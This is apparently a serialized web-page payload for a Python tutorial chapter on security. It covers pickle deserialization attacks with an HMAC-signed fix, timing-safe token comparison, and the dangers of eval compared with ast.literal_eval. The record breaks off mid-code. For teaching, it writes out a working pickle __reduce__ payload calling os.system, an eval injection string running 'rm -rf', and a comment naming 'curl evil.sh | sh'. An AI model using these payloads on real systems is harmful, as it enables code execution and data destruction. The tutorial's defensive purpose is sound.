[{"data":1,"prerenderedAt":3192},["ShallowReactive",2],{"page-\u002Fpython\u002F27-security":3},{"id":4,"title":5,"body":6,"description":31,"extension":3186,"meta":3187,"navigation":60,"path":3188,"seo":3189,"stem":3190,"__hash__":3191},"content\u002Fpython\u002F27-security.md","27 — Security",{"type":7,"value":8,"toc":3170},"minimark",[9,13,22,674,1098,1109,1171,1203,1270,1392,1417,1421,1556,1614,1635,1843,1862,1870,1999,2025,2103,2113,2117,2223,2257,2261,2324,2334,2471,2475,2652,2690,2694,2770,2774,2848,2852,2855,2953,3110,3114,3166],[10,11,5],"h1",{"id":12},"_27-security",[14,15,17,21],"h2",{"id":16},"pickle-deserialization-is-arbitrary-code-execution",[18,19,20],"code",{},"pickle"," — Deserialization Is Arbitrary Code Execution",[23,24,26],"code-wrapper",{"language":25},"python",[27,28,32],"pre",{"className":29,"code":30,"language":25,"meta":31,"style":31},"language-python shiki shiki-themes github-light github-dark","# ── Demonstration: a malicious pickle payload that executes arbitrary shell commands ──\n# This is not a theoretical vulnerability — it's the DESIGNED behavior of the pickle protocol.\n# pickle reconstructs objects by calling callables specified in the byte stream.\n\nimport pickle\nimport os\n\nclass MaliciousPayload:\n    \"\"\"When unpickled, __reduce__ tells pickle to call os.system with our args.\"\"\"\n    def __reduce__(self):\n        # __reduce__ returns (callable, args_tuple) — pickle calls callable(*args) during load\n        return (os.system, (\"echo 'PWNED: arbitrary code executed via pickle'\",))\n\n# Serialize the exploit — this is just bytes, transferable over network\u002Femail\u002Ffile\npayload = pickle.dumps(MaliciousPayload())\nprint(f\"Payload bytes: {payload[:50]}...\")   # looks like innocuous binary data\n\n# ANTI-PATTERN: unpickling data from any untrusted source\n# pickle.loads(payload)   # EXECUTES os.system(\"echo 'PWNED...'\") — no warning, no sandbox\n# In production: this could be `rm -rf \u002F`, `curl evil.sh | sh`, data exfiltration, etc.\n\n# ── Production: HMAC-signed pickle for trusted internal serialization ──\n# If you MUST use pickle for internal caching\u002FIPC, sign the payload and verify BEFORE loading\nimport hmac\nimport hashlib\n\nSECRET_KEY = b\"your-hmac-secret-key-change-in-production-via-env-var\"\n\ndef signed_dumps(obj) -> bytes:\n    \"\"\"Pickle + HMAC-SHA256 signature — signature prevents tampering.\"\"\"\n    payload = pickle.dumps(obj)\n    signature = hmac.new(SECRET_KEY, payload, hashlib.sha256).digest()\n    return signature + payload   # prepend 32-byte signature\n\ndef signed_loads(data: bytes):\n    \"\"\"Verify HMAC signature BEFORE unpickling — rejects any tampered payload.\"\"\"\n    if len(data) \u003C 32:\n        raise ValueError(\"payload too short to contain signature\")\n    signature, payload = data[:32], data[32:]\n    expected = hmac.new(SECRET_KEY, payload, hashlib.sha256).digest()\n    # compare_digest is CONSTANT-TIME — prevents timing attacks on signature comparison\n    if not hmac.compare_digest(signature, expected):\n        raise ValueError(\"invalid signature — payload may be tampered\")\n    return pickle.loads(payload)   # safe to load ONLY after signature verified\n\n# Sign → transmit → verify → load\nsafe_payload = signed_dumps({\"user\": \"ada\", \"role\": \"admin\"})\nprint(f\"Verified load: {signed_loads(safe_payload)}\")   # works\n\n# Tampered payload is rejected BEFORE pickle.loads runs\ntampered = safe_payload[:31] + b\"\\\\x00\" + safe_payload[32:]   # flip one signature byte\ntry:\n    signed_loads(tampered)\nexcept ValueError as e:\n    print(f\"Rejected: {e}\")   # \"invalid signature\" — pickle.loads never called\n","",[18,33,34,43,49,55,62,73,81,86,99,106,119,125,140,145,151,163,202,207,213,219,225,230,236,242,250,258,263,278,283,300,306,317,333,351,356,372,378,398,415,437,451,457,468,482,493,498,504,538,565,570,576,619,627,633,647],{"__ignoreMap":31},[35,36,39],"span",{"class":37,"line":38},"line",1,[35,40,42],{"class":41},"sdCPZ","# ── Demonstration: a malicious pickle payload that executes arbitrary shell commands ──\n",[35,44,46],{"class":37,"line":45},2,[35,47,48],{"class":41},"# This is not a theoretical vulnerability — it's the DESIGNED behavior of the pickle protocol.\n",[35,50,52],{"class":37,"line":51},3,[35,53,54],{"class":41},"# pickle reconstructs objects by calling callables specified in the byte stream.\n",[35,56,58],{"class":37,"line":57},4,[35,59,61],{"emptyLinePlaceholder":60},true,"\n",[35,63,65,69],{"class":37,"line":64},5,[35,66,68],{"class":67},"svdQ7","import",[35,70,72],{"class":71},"ssxIu"," pickle\n",[35,74,76,78],{"class":37,"line":75},6,[35,77,68],{"class":67},[35,79,80],{"class":71}," os\n",[35,82,84],{"class":37,"line":83},7,[35,85,61],{"emptyLinePlaceholder":60},[35,87,89,92,96],{"class":37,"line":88},8,[35,90,91],{"class":67},"class",[35,93,95],{"class":94},"sIsaT"," MaliciousPayload",[35,97,98],{"class":71},":\n",[35,100,102],{"class":37,"line":101},9,[35,103,105],{"class":104},"sJ6F3","    \"\"\"When unpickled, __reduce__ tells pickle to call os.system with our args.\"\"\"\n",[35,107,109,112,116],{"class":37,"line":108},10,[35,110,111],{"class":67},"    def",[35,113,115],{"class":114},"snvgF"," __reduce__",[35,117,118],{"class":71},"(self):\n",[35,120,122],{"class":37,"line":121},11,[35,123,124],{"class":41},"        # __reduce__ returns (callable, args_tuple) — pickle calls callable(*args) during load\n",[35,126,128,131,134,137],{"class":37,"line":127},12,[35,129,130],{"class":67},"        return",[35,132,133],{"class":71}," (os.system, (",[35,135,136],{"class":104},"\"echo 'PWNED: arbitrary code executed via pickle'\"",[35,138,139],{"class":71},",))\n",[35,141,143],{"class":37,"line":142},13,[35,144,61],{"emptyLinePlaceholder":60},[35,146,148],{"class":37,"line":147},14,[35,149,150],{"class":41},"# Serialize the exploit — this is just bytes, transferable over network\u002Femail\u002Ffile\n",[35,152,154,157,160],{"class":37,"line":153},15,[35,155,156],{"class":71},"payload ",[35,158,159],{"class":67},"=",[35,161,162],{"class":71}," pickle.dumps(MaliciousPayload())\n",[35,164,166,169,172,175,178,181,184,187,190,193,196,199],{"class":37,"line":165},16,[35,167,168],{"class":114},"print",[35,170,171],{"class":71},"(",[35,173,174],{"class":67},"f",[35,176,177],{"class":104},"\"Payload bytes: ",[35,179,180],{"class":114},"{",[35,182,183],{"class":71},"payload[:",[35,185,186],{"class":114},"50",[35,188,189],{"class":71},"]",[35,191,192],{"class":114},"}",[35,194,195],{"class":104},"...\"",[35,197,198],{"class":71},")   ",[35,200,201],{"class":41},"# looks like innocuous binary data\n",[35,203,205],{"class":37,"line":204},17,[35,206,61],{"emptyLinePlaceholder":60},[35,208,210],{"class":37,"line":209},18,[35,211,212],{"class":41},"# ANTI-PATTERN: unpickling data from any untrusted source\n",[35,214,216],{"class":37,"line":215},19,[35,217,218],{"class":41},"# pickle.loads(payload)   # EXECUTES os.system(\"echo 'PWNED...'\") — no warning, no sandbox\n",[35,220,222],{"class":37,"line":221},20,[35,223,224],{"class":41},"# In production: this could be `rm -rf \u002F`, `curl evil.sh | sh`, data exfiltration, etc.\n",[35,226,228],{"class":37,"line":227},21,[35,229,61],{"emptyLinePlaceholder":60},[35,231,233],{"class":37,"line":232},22,[35,234,235],{"class":41},"# ── Production: HMAC-signed pickle for trusted internal serialization ──\n",[35,237,239],{"class":37,"line":238},23,[35,240,241],{"class":41},"# If you MUST use pickle for internal caching\u002FIPC, sign the payload and verify BEFORE loading\n",[35,243,245,247],{"class":37,"line":244},24,[35,246,68],{"class":67},[35,248,249],{"class":71}," hmac\n",[35,251,253,255],{"class":37,"line":252},25,[35,254,68],{"class":67},[35,256,257],{"class":71}," hashlib\n",[35,259,261],{"class":37,"line":260},26,[35,262,61],{"emptyLinePlaceholder":60},[35,264,266,269,272,275],{"class":37,"line":265},27,[35,267,268],{"class":114},"SECRET_KEY",[35,270,271],{"class":67}," =",[35,273,274],{"class":67}," b",[35,276,277],{"class":104},"\"your-hmac-secret-key-change-in-production-via-env-var\"\n",[35,279,281],{"class":37,"line":280},28,[35,282,61],{"emptyLinePlaceholder":60},[35,284,286,289,292,295,298],{"class":37,"line":285},29,[35,287,288],{"class":67},"def",[35,290,291],{"class":94}," signed_dumps",[35,293,294],{"class":71},"(obj) -> ",[35,296,297],{"class":114},"bytes",[35,299,98],{"class":71},[35,301,303],{"class":37,"line":302},30,[35,304,305],{"class":104},"    \"\"\"Pickle + HMAC-SHA256 signature — signature prevents tampering.\"\"\"\n",[35,307,309,312,314],{"class":37,"line":308},31,[35,310,311],{"class":71},"    payload ",[35,313,159],{"class":67},[35,315,316],{"class":71}," pickle.dumps(obj)\n",[35,318,320,323,325,328,330],{"class":37,"line":319},32,[35,321,322],{"class":71},"    signature ",[35,324,159],{"class":67},[35,326,327],{"class":71}," hmac.new(",[35,329,268],{"class":114},[35,331,332],{"class":71},", payload, hashlib.sha256).digest()\n",[35,334,336,339,342,345,348],{"class":37,"line":335},33,[35,337,338],{"class":67},"    return",[35,340,341],{"class":71}," signature ",[35,343,344],{"class":67},"+",[35,346,347],{"class":71}," payload   ",[35,349,350],{"class":41},"# prepend 32-byte signature\n",[35,352,354],{"class":37,"line":353},34,[35,355,61],{"emptyLinePlaceholder":60},[35,357,359,361,364,367,369],{"class":37,"line":358},35,[35,360,288],{"class":67},[35,362,363],{"class":94}," signed_loads",[35,365,366],{"class":71},"(data: ",[35,368,297],{"class":114},[35,370,371],{"class":71},"):\n",[35,373,375],{"class":37,"line":374},36,[35,376,377],{"class":104},"    \"\"\"Verify HMAC signature BEFORE unpickling — rejects any tampered payload.\"\"\"\n",[35,379,381,384,387,390,393,396],{"class":37,"line":380},37,[35,382,383],{"class":67},"    if",[35,385,386],{"class":114}," len",[35,388,389],{"class":71},"(data) ",[35,391,392],{"class":67},"\u003C",[35,394,395],{"class":114}," 32",[35,397,98],{"class":71},[35,399,401,404,407,409,412],{"class":37,"line":400},38,[35,402,403],{"class":67},"        raise",[35,405,406],{"class":114}," ValueError",[35,408,171],{"class":71},[35,410,411],{"class":104},"\"payload too short to contain signature\"",[35,413,414],{"class":71},")\n",[35,416,418,421,423,426,429,432,434],{"class":37,"line":417},39,[35,419,420],{"class":71},"    signature, payload ",[35,422,159],{"class":67},[35,424,425],{"class":71}," data[:",[35,427,428],{"class":114},"32",[35,430,431],{"class":71},"], data[",[35,433,428],{"class":114},[35,435,436],{"class":71},":]\n",[35,438,440,443,445,447,449],{"class":37,"line":439},40,[35,441,442],{"class":71},"    expected ",[35,444,159],{"class":67},[35,446,327],{"class":71},[35,448,268],{"class":114},[35,450,332],{"class":71},[35,452,454],{"class":37,"line":453},41,[35,455,456],{"class":41},"    # compare_digest is CONSTANT-TIME — prevents timing attacks on signature comparison\n",[35,458,460,462,465],{"class":37,"line":459},42,[35,461,383],{"class":67},[35,463,464],{"class":67}," not",[35,466,467],{"class":71}," hmac.compare_digest(signature, expected):\n",[35,469,471,473,475,477,480],{"class":37,"line":470},43,[35,472,403],{"class":67},[35,474,406],{"class":114},[35,476,171],{"class":71},[35,478,479],{"class":104},"\"invalid signature — payload may be tampered\"",[35,481,414],{"class":71},[35,483,485,487,490],{"class":37,"line":484},44,[35,486,338],{"class":67},[35,488,489],{"class":71}," pickle.loads(payload)   ",[35,491,492],{"class":41},"# safe to load ONLY after signature verified\n",[35,494,496],{"class":37,"line":495},45,[35,497,61],{"emptyLinePlaceholder":60},[35,499,501],{"class":37,"line":500},46,[35,502,503],{"class":41},"# Sign → transmit → verify → load\n",[35,505,507,510,512,515,518,521,524,527,530,532,535],{"class":37,"line":506},47,[35,508,509],{"class":71},"safe_payload ",[35,511,159],{"class":67},[35,513,514],{"class":71}," signed_dumps({",[35,516,517],{"class":104},"\"user\"",[35,519,520],{"class":71},": ",[35,522,523],{"class":104},"\"ada\"",[35,525,526],{"class":71},", ",[35,528,529],{"class":104},"\"role\"",[35,531,520],{"class":71},[35,533,534],{"class":104},"\"admin\"",[35,536,537],{"class":71},"})\n",[35,539,541,543,545,547,550,552,555,557,560,562],{"class":37,"line":540},48,[35,542,168],{"class":114},[35,544,171],{"class":71},[35,546,174],{"class":67},[35,548,549],{"class":104},"\"Verified load: ",[35,551,180],{"class":114},[35,553,554],{"class":71},"signed_loads(safe_payload)",[35,556,192],{"class":114},[35,558,559],{"class":104},"\"",[35,561,198],{"class":71},[35,563,564],{"class":41},"# works\n",[35,566,568],{"class":37,"line":567},49,[35,569,61],{"emptyLinePlaceholder":60},[35,571,573],{"class":37,"line":572},50,[35,574,575],{"class":41},"# Tampered payload is rejected BEFORE pickle.loads runs\n",[35,577,579,582,584,587,590,593,595,597,599,602,605,608,611,613,616],{"class":37,"line":578},51,[35,580,581],{"class":71},"tampered ",[35,583,159],{"class":67},[35,585,586],{"class":71}," safe_payload[:",[35,588,589],{"class":114},"31",[35,591,592],{"class":71},"] ",[35,594,344],{"class":67},[35,596,274],{"class":67},[35,598,559],{"class":104},[35,600,601],{"class":114},"\\\\",[35,603,604],{"class":104},"x00\"",[35,606,607],{"class":67}," +",[35,609,610],{"class":71}," safe_payload[",[35,612,428],{"class":114},[35,614,615],{"class":71},":]   ",[35,617,618],{"class":41},"# flip one signature byte\n",[35,620,622,625],{"class":37,"line":621},52,[35,623,624],{"class":67},"try",[35,626,98],{"class":71},[35,628,630],{"class":37,"line":629},53,[35,631,632],{"class":71},"    signed_loads(tampered)\n",[35,634,636,639,641,644],{"class":37,"line":635},54,[35,637,638],{"class":67},"except",[35,640,406],{"class":114},[35,642,643],{"class":67}," as",[35,645,646],{"class":71}," e:\n",[35,648,650,653,655,657,660,662,665,667,669,671],{"class":37,"line":649},55,[35,651,652],{"class":114},"    print",[35,654,171],{"class":71},[35,656,174],{"class":67},[35,658,659],{"class":104},"\"Rejected: ",[35,661,180],{"class":114},[35,663,664],{"class":71},"e",[35,666,192],{"class":114},[35,668,559],{"class":104},[35,670,198],{"class":71},[35,672,673],{"class":41},"# \"invalid signature\" — pickle.loads never called\n",[23,675,676],{"language":25},[27,677,679],{"className":29,"code":678,"language":25,"meta":31,"style":31},"# ── Timing-safe token comparison — the production pattern ──\n# ANTI-PATTERN: `==` on security tokens leaks information via timing\n\nimport secrets\nimport time\n\nAPI_KEY = secrets.token_urlsafe(32)   # generate a real API key\n\ndef verify_key_unsafe(provided: str) -> bool:\n    \"\"\"VULNERABLE — == short-circuits at first mismatched character.\n    An attacker can measure response time to determine correct prefix character-by-character.\"\"\"\n    return provided == API_KEY\n\ndef verify_key_safe(provided: str) -> bool:\n    \"\"\"CORRECT — secrets.compare_digest is constant-time.\n    Takes the same duration regardless of WHERE strings differ (or even if they're equal).\"\"\"\n    return secrets.compare_digest(provided, API_KEY)\n\n# Demonstrate timing difference in unsafe comparison\n# (In practice, network jitter masks this, but with enough samples it's exploitable)\nimport string\n\ndef timing_attack_demo():\n    \"\"\"Show that == leaks prefix information via response time.\"\"\"\n    timings = {}\n    for char in string.ascii_letters + string.digits:\n        guess = char + \"A\" * (len(API_KEY) - 1)   # guess first char, pad rest\n        t0 = time.perf_counter_ns()\n        verify_key_unsafe(guess)\n        elapsed = time.perf_counter_ns() - t0\n        timings[char] = elapsed\n\n    # The correct first character will have slightly higher timing (more chars compared)\n    correct_first = API_KEY[0]\n    sorted_chars = sorted(timings, key=timings.get, reverse=True)\n    print(f\"Top 3 timing candidates for first char: {sorted_chars[:3]}\")\n    print(f\"Actual first char: {correct_first}\")\n    # In a real attack, the attacker repeats this for each position\n\ntiming_attack_demo()\n# Use verify_key_safe() in production — constant-time, no leakage\n",[18,680,681,686,691,695,702,709,713,730,734,755,760,765,778,782,799,804,809,820,824,829,834,841,845,855,860,870,889,930,940,945,960,970,974,979,998,1030,1057,1079,1084,1088,1093],{"__ignoreMap":31},[35,682,683],{"class":37,"line":38},[35,684,685],{"class":41},"# ── Timing-safe token comparison — the production pattern ──\n",[35,687,688],{"class":37,"line":45},[35,689,690],{"class":41},"# ANTI-PATTERN: `==` on security tokens leaks information via timing\n",[35,692,693],{"class":37,"line":51},[35,694,61],{"emptyLinePlaceholder":60},[35,696,697,699],{"class":37,"line":57},[35,698,68],{"class":67},[35,700,701],{"class":71}," secrets\n",[35,703,704,706],{"class":37,"line":64},[35,705,68],{"class":67},[35,707,708],{"class":71}," time\n",[35,710,711],{"class":37,"line":75},[35,712,61],{"emptyLinePlaceholder":60},[35,714,715,718,720,723,725,727],{"class":37,"line":83},[35,716,717],{"class":114},"API_KEY",[35,719,271],{"class":67},[35,721,722],{"class":71}," secrets.token_urlsafe(",[35,724,428],{"class":114},[35,726,198],{"class":71},[35,728,729],{"class":41},"# generate a real API key\n",[35,731,732],{"class":37,"line":88},[35,733,61],{"emptyLinePlaceholder":60},[35,735,736,738,741,744,747,750,753],{"class":37,"line":101},[35,737,288],{"class":67},[35,739,740],{"class":94}," verify_key_unsafe",[35,742,743],{"class":71},"(provided: ",[35,745,746],{"class":114},"str",[35,748,749],{"class":71},") -> ",[35,751,752],{"class":114},"bool",[35,754,98],{"class":71},[35,756,757],{"class":37,"line":108},[35,758,759],{"class":104},"    \"\"\"VULNERABLE — == short-circuits at first mismatched character.\n",[35,761,762],{"class":37,"line":121},[35,763,764],{"class":104},"    An attacker can measure response time to determine correct prefix character-by-character.\"\"\"\n",[35,766,767,769,772,775],{"class":37,"line":127},[35,768,338],{"class":67},[35,770,771],{"class":71}," provided ",[35,773,774],{"class":67},"==",[35,776,777],{"class":114}," API_KEY\n",[35,779,780],{"class":37,"line":142},[35,781,61],{"emptyLinePlaceholder":60},[35,783,784,786,789,791,793,795,797],{"class":37,"line":147},[35,785,288],{"class":67},[35,787,788],{"class":94}," verify_key_safe",[35,790,743],{"class":71},[35,792,746],{"class":114},[35,794,749],{"class":71},[35,796,752],{"class":114},[35,798,98],{"class":71},[35,800,801],{"class":37,"line":153},[35,802,803],{"class":104},"    \"\"\"CORRECT — secrets.compare_digest is constant-time.\n",[35,805,806],{"class":37,"line":165},[35,807,808],{"class":104},"    Takes the same duration regardless of WHERE strings differ (or even if they're equal).\"\"\"\n",[35,810,811,813,816,818],{"class":37,"line":204},[35,812,338],{"class":67},[35,814,815],{"class":71}," secrets.compare_digest(provided, ",[35,817,717],{"class":114},[35,819,414],{"class":71},[35,821,822],{"class":37,"line":209},[35,823,61],{"emptyLinePlaceholder":60},[35,825,826],{"class":37,"line":215},[35,827,828],{"class":41},"# Demonstrate timing difference in unsafe comparison\n",[35,830,831],{"class":37,"line":221},[35,832,833],{"class":41},"# (In practice, network jitter masks this, but with enough samples it's exploitable)\n",[35,835,836,838],{"class":37,"line":227},[35,837,68],{"class":67},[35,839,840],{"class":71}," string\n",[35,842,843],{"class":37,"line":232},[35,844,61],{"emptyLinePlaceholder":60},[35,846,847,849,852],{"class":37,"line":238},[35,848,288],{"class":67},[35,850,851],{"class":94}," timing_attack_demo",[35,853,854],{"class":71},"():\n",[35,856,857],{"class":37,"line":244},[35,858,859],{"class":104},"    \"\"\"Show that == leaks prefix information via response time.\"\"\"\n",[35,861,862,865,867],{"class":37,"line":252},[35,863,864],{"class":71},"    timings ",[35,866,159],{"class":67},[35,868,869],{"class":71}," {}\n",[35,871,872,875,878,881,884,886],{"class":37,"line":260},[35,873,874],{"class":67},"    for",[35,876,877],{"class":71}," char ",[35,879,880],{"class":67},"in",[35,882,883],{"class":71}," string.ascii_letters ",[35,885,344],{"class":67},[35,887,888],{"class":71}," string.digits:\n",[35,890,891,894,896,898,900,903,906,909,912,914,916,919,922,925,927],{"class":37,"line":265},[35,892,893],{"class":71},"        guess ",[35,895,159],{"class":67},[35,897,877],{"class":71},[35,899,344],{"class":67},[35,901,902],{"class":104}," \"A\"",[35,904,905],{"class":67}," *",[35,907,908],{"class":71}," (",[35,910,911],{"class":114},"len",[35,913,171],{"class":71},[35,915,717],{"class":114},[35,917,918],{"class":71},") ",[35,920,921],{"class":67},"-",[35,923,924],{"class":114}," 1",[35,926,198],{"class":71},[35,928,929],{"class":41},"# guess first char, pad rest\n",[35,931,932,935,937],{"class":37,"line":280},[35,933,934],{"class":71},"        t0 ",[35,936,159],{"class":67},[35,938,939],{"class":71}," time.perf_counter_ns()\n",[35,941,942],{"class":37,"line":285},[35,943,944],{"class":71},"        verify_key_unsafe(guess)\n",[35,946,947,950,952,955,957],{"class":37,"line":302},[35,948,949],{"class":71},"        elapsed ",[35,951,159],{"class":67},[35,953,954],{"class":71}," time.perf_counter_ns() ",[35,956,921],{"class":67},[35,958,959],{"class":71}," t0\n",[35,961,962,965,967],{"class":37,"line":308},[35,963,964],{"class":71},"        timings[char] ",[35,966,159],{"class":67},[35,968,969],{"class":71}," elapsed\n",[35,971,972],{"class":37,"line":319},[35,973,61],{"emptyLinePlaceholder":60},[35,975,976],{"class":37,"line":335},[35,977,978],{"class":41},"    # The correct first character will have slightly higher timing (more chars compared)\n",[35,980,981,984,986,989,992,995],{"class":37,"line":353},[35,982,983],{"class":71},"    correct_first ",[35,985,159],{"class":67},[35,987,988],{"class":114}," API_KEY",[35,990,991],{"class":71},"[",[35,993,994],{"class":114},"0",[35,996,997],{"class":71},"]\n",[35,999,1000,1003,1005,1008,1011,1015,1017,1020,1023,1025,1028],{"class":37,"line":358},[35,1001,1002],{"class":71},"    sorted_chars ",[35,1004,159],{"class":67},[35,1006,1007],{"class":114}," sorted",[35,1009,1010],{"class":71},"(timings, ",[35,1012,1014],{"class":1013},"sCrzJ","key",[35,1016,159],{"class":67},[35,1018,1019],{"class":71},"timings.get, ",[35,1021,1022],{"class":1013},"reverse",[35,1024,159],{"class":67},[35,1026,1027],{"class":114},"True",[35,1029,414],{"class":71},[35,1031,1032,1034,1036,1038,1041,1043,1046,1049,1051,1053,1055],{"class":37,"line":374},[35,1033,652],{"class":114},[35,1035,171],{"class":71},[35,1037,174],{"class":67},[35,1039,1040],{"class":104},"\"Top 3 timing candidates for first char: ",[35,1042,180],{"class":114},[35,1044,1045],{"class":71},"sorted_chars[:",[35,1047,1048],{"class":114},"3",[35,1050,189],{"class":71},[35,1052,192],{"class":114},[35,1054,559],{"class":104},[35,1056,414],{"class":71},[35,1058,1059,1061,1063,1065,1068,1070,1073,1075,1077],{"class":37,"line":380},[35,1060,652],{"class":114},[35,1062,171],{"class":71},[35,1064,174],{"class":67},[35,1066,1067],{"class":104},"\"Actual first char: ",[35,1069,180],{"class":114},[35,1071,1072],{"class":71},"correct_first",[35,1074,192],{"class":114},[35,1076,559],{"class":104},[35,1078,414],{"class":71},[35,1080,1081],{"class":37,"line":400},[35,1082,1083],{"class":41},"    # In a real attack, the attacker repeats this for each position\n",[35,1085,1086],{"class":37,"line":417},[35,1087,61],{"emptyLinePlaceholder":60},[35,1089,1090],{"class":37,"line":439},[35,1091,1092],{"class":71},"timing_attack_demo()\n",[35,1094,1095],{"class":37,"line":453},[35,1096,1097],{"class":41},"# Use verify_key_safe() in production — constant-time, no leakage\n",[14,1099,1101,1104,1105,1108],{"id":1100},"eval-and-exec-executing-strings-as-code",[18,1102,1103],{},"eval"," and ",[18,1106,1107],{},"exec",": Executing Strings as Code",[23,1110,1111],{"language":25},[27,1112,1114],{"className":29,"code":1113,"language":25,"meta":31,"style":31},"# WRONG — a \"simple calculator\" that evaluates user-supplied expressions\ndef calculate(expression):\n    return eval(expression)\n\ncalculate(\"2 + 2\")                                        # 4 — looks harmless\ncalculate(\"__import__('os').system('rm -rf \u002Ftmp\u002Fdata')\")   # arbitrary shell command — eval() has NO sandbox\n",[18,1115,1116,1121,1131,1141,1145,1159],{"__ignoreMap":31},[35,1117,1118],{"class":37,"line":38},[35,1119,1120],{"class":41},"# WRONG — a \"simple calculator\" that evaluates user-supplied expressions\n",[35,1122,1123,1125,1128],{"class":37,"line":45},[35,1124,288],{"class":67},[35,1126,1127],{"class":94}," calculate",[35,1129,1130],{"class":71},"(expression):\n",[35,1132,1133,1135,1138],{"class":37,"line":51},[35,1134,338],{"class":67},[35,1136,1137],{"class":114}," eval",[35,1139,1140],{"class":71},"(expression)\n",[35,1142,1143],{"class":37,"line":57},[35,1144,61],{"emptyLinePlaceholder":60},[35,1146,1147,1150,1153,1156],{"class":37,"line":64},[35,1148,1149],{"class":71},"calculate(",[35,1151,1152],{"class":104},"\"2 + 2\"",[35,1154,1155],{"class":71},")                                        ",[35,1157,1158],{"class":41},"# 4 — looks harmless\n",[35,1160,1161,1163,1166,1168],{"class":37,"line":75},[35,1162,1149],{"class":71},[35,1164,1165],{"class":104},"\"__import__('os').system('rm -rf \u002Ftmp\u002Fdata')\"",[35,1167,198],{"class":71},[35,1169,1170],{"class":41},"# arbitrary shell command — eval() has NO sandbox\n",[1172,1173,1174,1177,1178,526,1181,526,1184,1187,1188,1190,1191,1194,1195,1198,1199,1202],"p",{},[18,1175,1176],{},"eval()"," compiles and executes an arbitrary Python expression string with the full power of the interpreter — there is no meaningful way to \"sandbox\" it against a determined attacker, since Python's introspection (",[18,1179,1180],{},"__import__",[18,1182,1183],{},"__class__.__bases__",[18,1185,1186],{},"__subclasses__()",") provides many paths back to unrestricted code execution even after naive blocklisting attempts. Restricting ",[18,1189,1103],{},"'s ",[18,1192,1193],{},"globals","\u002F",[18,1196,1197],{},"locals"," arguments (",[18,1200,1201],{},"eval(expr, {\"__builtins__\": {}})",") raises the bar slightly but is a well-documented, frequently-bypassed non-solution, not a real security boundary.",[23,1204,1205],{"language":25},[27,1206,1208],{"className":29,"code":1207,"language":25,"meta":31,"style":31},"# RIGHT — use ast.literal_eval for the \"parse a literal\" use case; it CANNOT execute arbitrary code\nimport ast\n\nast.literal_eval(\"2 + 2\")               # ValueError — NOT a literal, refuses on purpose\nast.literal_eval(\"[1, 2, 3]\")           # [1, 2, 3] — safe, only parses literal Python data structures\nast.literal_eval(\"{'a': 1, 'b': 2}\")    # {'a': 1, 'b': 2}\n# ast.literal_eval(\"__import__('os')\")   # ValueError — refuses anything beyond literals, no code execution path\n",[18,1209,1210,1215,1222,1226,1239,1252,1265],{"__ignoreMap":31},[35,1211,1212],{"class":37,"line":38},[35,1213,1214],{"class":41},"# RIGHT — use ast.literal_eval for the \"parse a literal\" use case; it CANNOT execute arbitrary code\n",[35,1216,1217,1219],{"class":37,"line":45},[35,1218,68],{"class":67},[35,1220,1221],{"class":71}," ast\n",[35,1223,1224],{"class":37,"line":51},[35,1225,61],{"emptyLinePlaceholder":60},[35,1227,1228,1231,1233,1236],{"class":37,"line":57},[35,1229,1230],{"class":71},"ast.literal_eval(",[35,1232,1152],{"class":104},[35,1234,1235],{"class":71},")               ",[35,1237,1238],{"class":41},"# ValueError — NOT a literal, refuses on purpose\n",[35,1240,1241,1243,1246,1249],{"class":37,"line":64},[35,1242,1230],{"class":71},[35,1244,1245],{"class":104},"\"[1, 2, 3]\"",[35,1247,1248],{"class":71},")           ",[35,1250,1251],{"class":41},"# [1, 2, 3] — safe, only parses literal Python data structures\n",[35,1253,1254,1256,1259,1262],{"class":37,"line":75},[35,1255,1230],{"class":71},[35,1257,1258],{"class":104},"\"{'a': 1, 'b': 2}\"",[35,1260,1261],{"class":71},")    ",[35,1263,1264],{"class":41},"# {'a': 1, 'b': 2}\n",[35,1266,1267],{"class":37,"line":83},[35,1268,1269],{"class":41},"# ast.literal_eval(\"__import__('os')\")   # ValueError — refuses anything beyond literals, no code execution path\n",[23,1271,1272],{"language":25},[27,1273,1275],{"className":29,"code":1274,"language":25,"meta":31,"style":31},"# RIGHT — for the \"evaluate a math expression\" use case, use a real expression parser\u002Fevaluator\nimport operator\n\n_OPERATORS = {\"+\": operator.add, \"-\": operator.sub, \"*\": operator.mul, \"\u002F\": operator.truediv}\n\ndef safe_calculate(a, op, b):\n    if op not in _OPERATORS:\n        raise ValueError(f\"unsupported operator: {op}\")\n    return _OPERATORS[op](a, b)\n",[18,1276,1277,1282,1289,1293,1327,1331,1341,1359,1383],{"__ignoreMap":31},[35,1278,1279],{"class":37,"line":38},[35,1280,1281],{"class":41},"# RIGHT — for the \"evaluate a math expression\" use case, use a real expression parser\u002Fevaluator\n",[35,1283,1284,1286],{"class":37,"line":45},[35,1285,68],{"class":67},[35,1287,1288],{"class":71}," operator\n",[35,1290,1291],{"class":37,"line":51},[35,1292,61],{"emptyLinePlaceholder":60},[35,1294,1295,1298,1300,1303,1306,1309,1312,1315,1318,1321,1324],{"class":37,"line":57},[35,1296,1297],{"class":114},"_OPERATORS",[35,1299,271],{"class":67},[35,1301,1302],{"class":71}," {",[35,1304,1305],{"class":104},"\"+\"",[35,1307,1308],{"class":71},": operator.add, ",[35,1310,1311],{"class":104},"\"-\"",[35,1313,1314],{"class":71},": operator.sub, ",[35,1316,1317],{"class":104},"\"*\"",[35,1319,1320],{"class":71},": operator.mul, ",[35,1322,1323],{"class":104},"\"\u002F\"",[35,1325,1326],{"class":71},": operator.truediv}\n",[35,1328,1329],{"class":37,"line":64},[35,1330,61],{"emptyLinePlaceholder":60},[35,1332,1333,1335,1338],{"class":37,"line":75},[35,1334,288],{"class":67},[35,1336,1337],{"class":94}," safe_calculate",[35,1339,1340],{"class":71},"(a, op, b):\n",[35,1342,1343,1345,1348,1351,1354,1357],{"class":37,"line":83},[35,1344,383],{"class":67},[35,1346,1347],{"class":71}," op ",[35,1349,1350],{"class":67},"not",[35,1352,1353],{"class":67}," in",[35,1355,1356],{"class":114}," _OPERATORS",[35,1358,98],{"class":71},[35,1360,1361,1363,1365,1367,1369,1372,1374,1377,1379,1381],{"class":37,"line":88},[35,1362,403],{"class":67},[35,1364,406],{"class":114},[35,1366,171],{"class":71},[35,1368,174],{"class":67},[35,1370,1371],{"class":104},"\"unsupported operator: ",[35,1373,180],{"class":114},[35,1375,1376],{"class":71},"op",[35,1378,192],{"class":114},[35,1380,559],{"class":104},[35,1382,414],{"class":71},[35,1384,1385,1387,1389],{"class":37,"line":101},[35,1386,338],{"class":67},[35,1388,1356],{"class":114},[35,1390,1391],{"class":71},"[op](a, 